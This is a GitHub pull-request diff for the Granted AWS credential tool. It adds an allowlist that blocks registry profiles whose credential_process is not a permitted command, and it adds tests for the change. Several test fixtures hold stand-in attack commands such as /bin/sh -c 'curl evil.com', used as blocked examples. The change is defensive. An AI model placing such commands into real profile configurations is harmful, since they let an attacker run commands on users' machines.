Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 7 additions & 6 deletions pkg/config/config.go
Original file line number Diff line number Diff line change
Expand Up @@ -75,12 +75,13 @@ type Config struct {
ProfileRegistryURLS []string `toml:",omitempty"`
ProfileRegistry struct {
// add any global configuration to profile registry here.
PrefixAllProfiles bool
PrefixDuplicateProfiles bool
SessionName string `toml:",omitempty"`
RequiredKeys map[string]string `toml:",omitempty"`
Variables map[string]string `toml:",omitempty"`
Registries []Registry `toml:",omitempty"`
PrefixAllProfiles bool
PrefixDuplicateProfiles bool
SessionName string `toml:",omitempty"`
RequiredKeys map[string]string `toml:",omitempty"`
Variables map[string]string `toml:",omitempty"`
Registries []Registry `toml:",omitempty"`
AllowedCredentialProcesses []string `toml:",omitempty"`
} `toml:",omitempty"`

// CredentialProcessAutoLogin, if 'true', will automatically attempt to
Expand Down
36 changes: 33 additions & 3 deletions pkg/granted/awsmerge/merge_from_registry.go
Original file line number Diff line number Diff line change
Expand Up @@ -16,9 +16,10 @@ import (
)

type RegistryOpts struct {
Name string
PrefixAllProfiles bool
PrefixDuplicateProfiles bool
Name string
PrefixAllProfiles bool
PrefixDuplicateProfiles bool
AllowedCredentialProcesses []string
}

type DuplicateProfileError struct {
Expand Down Expand Up @@ -130,6 +131,15 @@ func WithRegistry(src *ini.File, dst *ini.File, opts RegistryOpts) (*ini.File, e
continue
}

// Check credential_process allowlist for registry profiles
if sec.HasKey("credential_process") {
if !isCredentialProcessAllowed(sec.Key("credential_process").Value(), opts.AllowedCredentialProcesses) {
clio.Warnf("skipping registry profile %q: credential_process not in allowlist (%q)",
strings.TrimPrefix(sec.Name(), "profile "), sec.Key("credential_process").Value())
continue
}
}

if opts.PrefixAllProfiles {
f, err := tmp.NewSection(appendNamespaceToDuplicateSections(sec.Name(), namespace))
if err != nil {
Expand Down Expand Up @@ -308,6 +318,26 @@ func containsTemplate(text string) bool {
return re.MatchString(text)
}

// defaultAllowedCredentialProcessPrefixes is used when no explicit allowlist is configured.
var defaultAllowedCredentialProcessPrefixes = []string{
"granted credential-process",
}

// isCredentialProcessAllowed checks whether a credential_process value
// matches any prefix in the allowlist. Returns true if the value is allowed.
func isCredentialProcessAllowed(value string, allowlist []string) bool {
trimmed := strings.TrimSpace(value)
if len(allowlist) == 0 {
allowlist = defaultAllowedCredentialProcessPrefixes
}
for _, prefix := range allowlist {
if strings.HasPrefix(trimmed, prefix) {
return true
}
}
return false
}

func getGrantedGeneratedSections(config *ini.File, name string) []*ini.Section {
var grantedProfiles []*ini.Section

Expand Down
118 changes: 118 additions & 0 deletions pkg/granted/awsmerge/merge_from_registry_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,64 @@ import (
"gopkg.in/ini.v1"
)

func TestIsCredentialProcessAllowed(t *testing.T) {
tests := []struct {
name string
value string
allowlist []string
want bool
}{
{
name: "default allows granted",
value: "granted credential-process --profile foo",
allowlist: nil,
want: true,
},
{
name: "default blocks arbitrary command",
value: "/bin/sh -c 'curl evil.com'",
allowlist: nil,
want: false,
},
{
name: "default blocks empty string",
value: "",
allowlist: nil,
want: false,
},
{
name: "custom allowlist allows matching prefix",
value: "/usr/local/bin/company-helper --profile dev",
allowlist: []string{"/usr/local/bin/company-helper"},
want: true,
},
{
name: "custom allowlist blocks non-matching",
value: "granted credential-process --profile foo",
allowlist: []string{"/usr/local/bin/company-helper"},
want: false,
},
{
name: "whitespace trimming",
value: " granted credential-process --profile foo",
allowlist: nil,
want: true,
},
{
name: "multiple allowlist entries",
value: "/opt/bin/other-tool --arg",
allowlist: []string{"granted credential-process", "/opt/bin/other-tool"},
want: true,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := isCredentialProcessAllowed(tt.value, tt.allowlist)
assert.Equal(t, tt.want, got)
})
}
}

func TestMerger_WithRegistry(t *testing.T) {

type args struct {
Expand Down Expand Up @@ -248,6 +306,66 @@ key1 = value2
`,
},

{
name: "blocked_credential_process_default_allowlist",
args: args{
opts: RegistryOpts{
Name: "test",
},
src: `
[profile malicious]
credential_process = /bin/sh -c 'curl http://evil.com'
`,
dst: `
[profile existing]
key2=value2
`,
},
want: `
[profile existing]
key2 = value2

# Auto-generated by Granted (https://granted.dev). DO NOT EDIT.
# Manual edits to this section will be overwritten.
# To stop syncing and remove this section, run 'granted registry remove'.
[granted_registry_start test]

[granted_registry_end test]
`,
},
{
name: "mixed_profiles_allowed_and_blocked",
args: args{
opts: RegistryOpts{
Name: "test",
},
src: `
[profile good]
credential_process = granted credential-process --profile good

[profile bad]
credential_process = /bin/sh -c 'curl evil.com'
`,
dst: `
[profile existing]
key2=value2
`,
},
want: `
[profile existing]
key2 = value2

# Auto-generated by Granted (https://granted.dev). DO NOT EDIT.
# Manual edits to this section will be overwritten.
# To stop syncing and remove this section, run 'granted registry remove'.
[granted_registry_start test]

[profile good]
credential_process = granted credential-process --profile good

[granted_registry_end test]
`,
},
{
// test case where profile registry entries already exist in the profile file
name: "merge_on_existing_profile_registry",
Expand Down
14 changes: 8 additions & 6 deletions pkg/granted/registry/add.go
Original file line number Diff line number Diff line change
Expand Up @@ -112,9 +112,10 @@ var AddCommand = cli.Command{
}

merged, err := awsmerge.WithRegistry(src, dst, awsmerge.RegistryOpts{
Name: name,
PrefixAllProfiles: prefixAllProfiles,
PrefixDuplicateProfiles: prefixDuplicateProfiles,
Name: name,
PrefixAllProfiles: prefixAllProfiles,
PrefixDuplicateProfiles: prefixDuplicateProfiles,
AllowedCredentialProcesses: gConf.ProfileRegistry.AllowedCredentialProcesses,
})
var dpe awsmerge.DuplicateProfileError
if errors.As(err, &dpe) {
Expand Down Expand Up @@ -142,9 +143,10 @@ var AddCommand = cli.Command{

// try and merge again
merged, err = awsmerge.WithRegistry(src, dst, awsmerge.RegistryOpts{
Name: name,
PrefixAllProfiles: prefixAllProfiles,
PrefixDuplicateProfiles: true,
Name: name,
PrefixAllProfiles: prefixAllProfiles,
PrefixDuplicateProfiles: true,
AllowedCredentialProcesses: gConf.ProfileRegistry.AllowedCredentialProcesses,
})
if err != nil {
return fmt.Errorf("error after trying to merge profiles again: %w", err)
Expand Down
20 changes: 14 additions & 6 deletions pkg/granted/registry/sync.go
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@ import (

"github.com/AlecAivazis/survey/v2"
"github.com/common-fate/clio"
grantedConfig "github.com/fwdcloudsec/granted/pkg/config"
"github.com/fwdcloudsec/granted/pkg/granted/awsmerge"
"github.com/fwdcloudsec/granted/pkg/testable"
"github.com/urfave/cli/v2"
Expand All @@ -34,6 +35,11 @@ var SyncCommand = cli.Command{
// promptUserIfProfileDuplication if true will automatically prefix the duplicate profiles and won't prompt users
// this is useful when new registry with higher priority is added and there is duplication with lower priority registry.
func SyncProfileRegistries(ctx context.Context, interactive bool) error {
gConf, err := grantedConfig.Load()
if err != nil {
return err
}

registries, err := GetProfileRegistries(interactive)
if err != nil {
return err
Expand Down Expand Up @@ -62,9 +68,10 @@ func SyncProfileRegistries(ctx context.Context, interactive bool) error {
}

merged, err := awsmerge.WithRegistry(src, configFile, awsmerge.RegistryOpts{
Name: r.Config.Name,
PrefixAllProfiles: r.Config.PrefixAllProfiles,
PrefixDuplicateProfiles: r.Config.PrefixDuplicateProfiles,
Name: r.Config.Name,
PrefixAllProfiles: r.Config.PrefixAllProfiles,
PrefixDuplicateProfiles: r.Config.PrefixDuplicateProfiles,
AllowedCredentialProcesses: gConf.ProfileRegistry.AllowedCredentialProcesses,
})
var dpe awsmerge.DuplicateProfileError
if interactive && errors.As(err, &dpe) {
Expand All @@ -91,9 +98,10 @@ func SyncProfileRegistries(ctx context.Context, interactive bool) error {

// try and merge again
merged, err = awsmerge.WithRegistry(src, configFile, awsmerge.RegistryOpts{
Name: r.Config.Name,
PrefixAllProfiles: r.Config.PrefixAllProfiles,
PrefixDuplicateProfiles: true,
Name: r.Config.Name,
PrefixAllProfiles: r.Config.PrefixAllProfiles,
PrefixDuplicateProfiles: true,
AllowedCredentialProcesses: gConf.ProfileRegistry.AllowedCredentialProcesses,
})
if err != nil {
return fmt.Errorf("error after trying to merge profiles again for registry %s: %w", r.Config.Name, err)
Expand Down
Loading